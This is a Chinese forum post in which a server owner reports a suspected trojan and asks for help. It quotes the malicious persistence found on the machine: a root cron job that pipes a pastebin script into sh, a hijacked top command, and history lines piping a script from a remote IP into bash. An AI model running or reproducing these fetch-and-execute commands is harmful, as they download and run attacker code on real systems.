感觉机器应该是中了木马，有一下几个现象：
1. 异常定时任务
root@iZ2ze82p1dogvdrx4fu0i7Z:~# cat /var/spool/cron/crontabs/root
*/31 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
##
2. 某些指令被劫持，比如top指令不正常显示系统使用指标，而是显示
root@iZ2ze82p1dogvdrx4fu0i7Z:~# top
PID TTY TIME CMD
31637 pts/3 00:00:00 bash
32078 pts/3 00:00:00 top
3. 通过history指令查看到一些异常的历史操作
1878 2018-09-10 15:18:59 root wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh
1879 2018-09-02 15:03:03 root ufw status
1880 2018-09-02 15:04:49 root curl -s http://192.99.142.248:8220/
请协助分析并解决问题。
评论
全部评论 (0)